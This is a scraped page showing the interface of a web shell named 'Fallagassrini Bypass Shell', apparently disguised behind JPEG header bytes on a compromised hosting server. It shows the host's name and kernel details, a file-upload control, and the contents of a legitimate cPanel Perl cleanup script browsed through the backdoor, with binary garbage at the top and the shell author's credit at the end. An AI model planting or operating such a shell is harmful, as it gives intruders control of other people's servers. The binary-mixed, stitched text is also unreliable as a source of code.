JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /scripts/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : //scripts/cleanupinterchange

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/cleanupinterchange              Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::cleanupinterchange;

use strict;
use warnings;

use Cpanel::FileUtils::Lines  ();
use Cpanel::FileUtils::Modify ();
use Cpanel::ServerTasks       ();

use Getopt::Long;
use Pod::Usage;
use Try::Tiny;

our $INTERCHANGE_FILE         = '/etc/chkserv.d/interchange';
our $INTERCHANGE_RESTART_FILE = '/var/run/chkservd/restart_track/interchange';
our $CHKSERVD_CONF_FILE       = '/etc/chkserv.d/chkservd.conf';

sub new {
    my $pkg  = shift;
    my $self = {};
    bless $self, $pkg;
    return $self;
}

sub as_script {
    my $self = shift;

    my $execute = 0;
    my $help    = 0;
    Getopt::Long::GetOptions(
        'x'    => \$execute,
        'help' => \$help,
    );

    if ($help) {
        Pod::Usage::pod2usage(
            -verbose => 2,
            -exitval => 1,
        );
    }

    if ( not $execute ) {
        my $msg = qq{To execute, use the -x flag.};
        die($msg);
    }

    $self->run();

    return 1;
}

sub run {
    my $self = shift;

    my $restart_tailwatchd;

    if ( -e $INTERCHANGE_FILE ) {
        unlink($INTERCHANGE_FILE);
        ++$restart_tailwatchd;
    }
    if ( -e $INTERCHANGE_RESTART_FILE ) {
        unlink($INTERCHANGE_RESTART_FILE);
    }
    if ( -e $CHKSERVD_CONF_FILE ) {
        if ( Cpanel::FileUtils::Lines::has_txt_in_file( $CHKSERVD_CONF_FILE, 'interchange' ) ) {
            Cpanel::FileUtils::Modify::remlinefile( $CHKSERVD_CONF_FILE, 'interchange:', 'begin' );
            ++$restart_tailwatchd;
        }
    }

    if ($restart_tailwatchd) {
        local $@;
        try {
            Cpanel::ServerTasks::queue_task( ['TailwatchTasks'], 'reloadtailwatch' );
        }
        catch {
            warn "There was an error restarting tailwatchd: $_";
        };
    }

    return 0;
}

if ( not caller() ) {
    my $cleanup = scripts::cleanupinterchange->new();
    $cleanup->as_script;
    exit 0;
}

1;

__END__

=head1 NAME

cleanupinterchange - cleans up cruft left over from the interchange removal

=head1 SYNOPSIS

cleanup_interchange [options]

  Options:
    -help      print help message
    -x         execute the change

=head1 DESCRIPTION

In cPanel & WHM version 11.34, we removed Interchange, but small remnants
were left behind. This script cleans up that clutter. If the remnants have
already been removed, this script does nothing.

=cut

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net